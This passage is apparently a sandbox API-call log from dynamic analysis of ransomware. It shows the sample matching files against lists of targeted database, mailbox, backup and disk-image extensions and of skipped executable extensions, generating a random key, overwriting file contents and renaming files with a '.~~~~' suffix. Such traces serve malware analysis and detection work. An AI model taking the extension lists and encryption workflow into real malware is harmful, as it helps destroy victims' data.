	[0076.815] lstrlenW (lpString=".DBS") returned 4
	[0076.815] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".DBS") returned 0x0
	[0076.815] lstrlenW (lpString=".CKP") returned 4
	[0076.815] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".CKP") returned 0x0
	[0076.816] lstrlenW (lpString=".edb") returned 4
	[0076.816] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".edb") returned 0x0
	[0076.816] lstrlenW (lpString=".PST") returned 4
	[0076.816] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".PST") returned 0x0
	[0076.816] lstrlenW (lpString=".dbf") returned 4
	[0076.816] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".dbf") returned 0x0
	[0076.816] lstrlenW (lpString=".SQL") returned 4
	[0076.816] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".SQL") returned 0x0
	[0076.816] lstrlenW (lpString=".pst") returned 4
	[0076.816] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".pst") returned 0x0
	[0076.816] lstrlenW (lpString=".dbv") returned 4
	[0076.816] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".dbv") returned 0x0
	[0076.816] lstrlenW (lpString=".SDF") returned 4
	[0076.816] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".SDF") returned 0x0
	[0076.816] lstrlenW (lpString=".dtxs") returned 5
	[0076.816] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".dtxs") returned 0x0
	[0076.816] lstrlenW (lpString=".db3") returned 4
	[0076.816] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".db3") returned 0x0
	[0076.816] lstrlenW (lpString=".OST") returned 4
	[0076.816] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".OST") returned 0x0
	[0076.816] lstrlenW (lpString=".dbx") returned 4
	[0076.817] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".dbx") returned 0x0
	[0076.817] lstrlenW (lpString=".DB3") returned 4
	[0076.817] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".DB3") returned 0x0
	[0076.817] lstrlenW (lpString=".DAT") returned 4
	[0076.817] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".DAT") returned 0x0
	[0076.817] lstrlenW (lpString=".VHDX") returned 5
	[0076.817] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".VHDX") returned 0x0
	[0076.817] lstrlenW (lpString=".ndf") returned 4
	[0076.817] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".ndf") returned 0x0
	[0076.817] lstrlenW (lpString=".DB") returned 3
	[0076.817] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".DB") returned 0x0
	[0076.817] lstrlenW (lpString=".sql") returned 4
	[0076.817] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".sql") returned 0x0
	[0076.817] lstrlenW (lpString=".MYD") returned 4
	[0076.817] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".MYD") returned 0x0
	[0076.817] lstrlenW (lpString=".DBT") returned 4
	[0076.817] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".DBT") returned 0x0
	[0076.817] lstrlenW (lpString=".ACCDB") returned 6
	[0076.818] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".ACCDB") returned 0x0
	[0076.818] lstrlenW (lpString=".fdb") returned 4
	[0076.818] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".fdb") returned 0x0
	[0076.818] lstrlenW (lpString=".bak") returned 4
	[0076.818] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".bak") returned 0x0
	[0076.818] lstrlenW (lpString=".myd") returned 4
	[0076.818] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".myd") returned 0x0
	[0076.818] lstrlenW (lpString=".DTXS") returned 5
	[0076.818] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".DTXS") returned 0x0
	[0076.818] lstrlenW (lpString=".ckp") returned 4
	[0076.818] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".ckp") returned 0x0
	[0076.818] lstrlenW (lpString=".dbt") returned 4
	[0076.818] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".dbt") returned 0x0
	[0076.818] lstrlenW (lpString=".db") returned 3
	[0076.818] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".db") returned 0x0
	[0076.818] lstrlenW (lpString=".TXT") returned 4
	[0076.818] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".TXT") returned 0x0
	[0076.818] lstrlenW (lpString=".MDF") returned 4
	[0076.819] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".MDF") returned 0x0
	[0076.819] lstrlenW (lpString=".bdb") returned 4
	[0076.819] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".bdb") returned 0x0
	[0076.819] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.819] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.819] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3ac250
	[0076.819] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.819] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0076.821] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.821] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0076.821] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0076.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0076.821] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=19681099279) returned 1
	[0076.821] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x97aef650, dwHighDateTime=0x1d60e1e)) 
	[0076.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0076.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0076.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0076.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3990
	[0076.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.821] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3990 | out: hHeap=0x300000) returned 1
	[0076.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0076.821] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aa5b0
	[0076.821] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.822] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa5b0 | out: hHeap=0x300000) returned 1
	[0076.822] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0076.822] GetLastError () returned 0x0
	[0076.822] GetLastError () returned 0x0
	[0076.822] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0076.822] GetLastError () returned 0x0
	[0076.822] GetLastError () returned 0x0
	[0076.822] ReadFile (in: hFile=0x11c, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.829] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0076.831] WriteFile (in: hFile=0x11c, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.832] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0076.832] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.832] WriteFile (in: hFile=0x11c, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0076.834] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0076.835] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0076.835] CloseHandle (hObject=0x11c) returned 1
	[0076.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a49a0
	[0076.835] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.~~~~" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.~~~~")) returned 1
	[0076.836] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a49a0 | out: hHeap=0x300000) returned 1
	[0076.836] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0076.836] GetLastError () returned 0x0
	[0076.838] RtlWakeConditionVariable () returned 0x365f70
	[0076.838] GetCurrentThreadId () returned 0x9f4
	[0076.838] GetCurrentThreadId () returned 0x9f4
	[0076.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa460
	[0076.838] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa850 | out: hHeap=0x300000) returned 1
	[0076.838] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a39c8 | out: hHeap=0x300000) returned 1
	[0076.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa850
	[0076.838] lstrlenW (lpString=".scr") returned 4
	[0076.838] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".scr") returned 0x0
	[0076.839] lstrlenW (lpString=".cmd") returned 4
	[0076.839] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".cmd") returned 0x0
	[0076.839] lstrlenW (lpString=".dll") returned 4
	[0076.839] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".dll") returned 0x0
	[0076.839] lstrlenW (lpString=".bat") returned 4
	[0076.839] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".bat") returned 0x0
	[0076.839] lstrlenW (lpString=".cpl") returned 4
	[0076.839] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".cpl") returned 0x0
	[0076.839] lstrlenW (lpString=".sys") returned 4
	[0076.839] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".sys") returned 0x0
	[0076.839] lstrlenW (lpString=".msc") returned 4
	[0076.839] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".msc") returned 0x0
	[0076.839] lstrlenW (lpString=".com") returned 4
	[0076.839] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".com") returned 0x0
	[0076.839] lstrlenW (lpString=".lnk") returned 4
	[0076.839] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".lnk") returned 0x0
	[0076.839] lstrlenW (lpString=".msp") returned 4
	[0076.839] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".msp") returned 0x0
	[0076.839] lstrlenW (lpString=".pif") returned 4
	[0076.839] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".pif") returned 0x0
	[0076.839] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.840] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch="msp\r\n.pif") returned 0x0
	[0076.840] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0076.959] lstrlenW (lpString=".sqb") returned 4
	[0076.959] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".sqb") returned 0x0
	[0076.959] lstrlenW (lpString=".ost") returned 4
	[0076.959] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".ost") returned 0x0
	[0076.959] lstrlenW (lpString=".txt") returned 4
	[0076.959] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".txt") returned 0x0
	[0076.959] lstrlenW (lpString=".mdt") returned 4
	[0076.959] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".mdt") returned 0x0
	[0076.959] lstrlenW (lpString=".BDB") returned 4
	[0076.959] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".BDB") returned 0x0
	[0076.959] lstrlenW (lpString=".eql") returned 4
	[0076.959] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".eql") returned 0x0
	[0076.959] lstrlenW (lpString=".DBF") returned 4
	[0076.959] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".DBF") returned 0x0
	[0076.960] lstrlenW (lpString=".EQL") returned 4
	[0076.960] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".EQL") returned 0x0
	[0076.960] lstrlenW (lpString=".FDB") returned 4
	[0076.960] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".FDB") returned 0x0
	[0076.960] lstrlenW (lpString=".EDB") returned 4
	[0076.960] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".EDB") returned 0x0
	[0076.960] lstrlenW (lpString=".DACPAC") returned 7
	[0076.960] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".DACPAC") returned 0x0
	[0076.960] lstrlenW (lpString=".VHD") returned 4
	[0076.960] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".VHD") returned 0x0
	[0076.960] lstrlenW (lpString=".DBV") returned 4
	[0076.960] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".DBV") returned 0x0
	[0076.960] lstrlenW (lpString=".dacpac") returned 7
	[0076.960] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".dacpac") returned 0x0
	[0076.960] lstrlenW (lpString=".sdf") returned 4
	[0076.961] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".sdf") returned 0x0
	[0076.961] lstrlenW (lpString=".accdb") returned 6
	[0076.961] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".accdb") returned 0x0
	[0076.961] lstrlenW (lpString=".DBX") returned 4
	[0076.961] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".DBX") returned 0x0
	[0076.961] lstrlenW (lpString=".MDT") returned 4
	[0076.961] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".MDT") returned 0x0
	[0076.961] lstrlenW (lpString=".SQB") returned 4
	[0076.961] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".SQB") returned 0x0
	[0076.961] lstrlenW (lpString=".vhd") returned 4
	[0076.961] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".vhd") returned 0x0
	[0076.961] lstrlenW (lpString=".bac") returned 4
	[0076.961] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".bac") returned 0x0
	[0076.961] lstrlenW (lpString=".mdf") returned 4
	[0076.961] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".mdf") returned 0x0
	[0076.961] lstrlenW (lpString=".BAK") returned 4
	[0076.961] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".BAK") returned 0x0
	[0076.961] lstrlenW (lpString=".BAC") returned 4
	[0076.961] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".BAC") returned 0x0
	[0076.961] lstrlenW (lpString=".dbs") returned 4
	[0076.961] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".dbs") returned 0x0
	[0076.961] lstrlenW (lpString=".vhdx") returned 5
	[0076.961] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".vhdx") returned 0x0
	[0076.961] lstrlenW (lpString=".NDF") returned 4
	[0076.961] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".NDF") returned 0x0
	[0076.962] lstrlenW (lpString=".dat") returned 4
	[0076.962] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".dat") returned 0x0
	[0076.962] lstrlenW (lpString=".DBS") returned 4
	[0076.962] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".DBS") returned 0x0
	[0076.962] lstrlenW (lpString=".CKP") returned 4
	[0076.962] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".CKP") returned 0x0
	[0076.962] lstrlenW (lpString=".edb") returned 4
	[0076.962] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".edb") returned 0x0
	[0076.962] lstrlenW (lpString=".PST") returned 4
	[0076.962] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".PST") returned 0x0
	[0076.962] lstrlenW (lpString=".dbf") returned 4
	[0076.962] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".dbf") returned 0x0
	[0076.962] lstrlenW (lpString=".SQL") returned 4
	[0076.962] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".SQL") returned 0x0
	[0076.962] lstrlenW (lpString=".pst") returned 4
	[0076.962] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".pst") returned 0x0
	[0076.962] lstrlenW (lpString=".dbv") returned 4
	[0076.962] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".dbv") returned 0x0
	[0076.962] lstrlenW (lpString=".SDF") returned 4
	[0076.962] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".SDF") returned 0x0
	[0076.962] lstrlenW (lpString=".dtxs") returned 5
	[0076.962] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".dtxs") returned 0x0
	[0076.962] lstrlenW (lpString=".db3") returned 4
	[0076.962] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".db3") returned 0x0
	[0076.963] lstrlenW (lpString=".OST") returned 4
	[0076.963] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".OST") returned 0x0
	[0076.963] lstrlenW (lpString=".dbx") returned 4
	[0076.963] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".dbx") returned 0x0
	[0076.963] lstrlenW (lpString=".DB3") returned 4
	[0076.963] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab", lpSrch=".DB3") returned 0x0
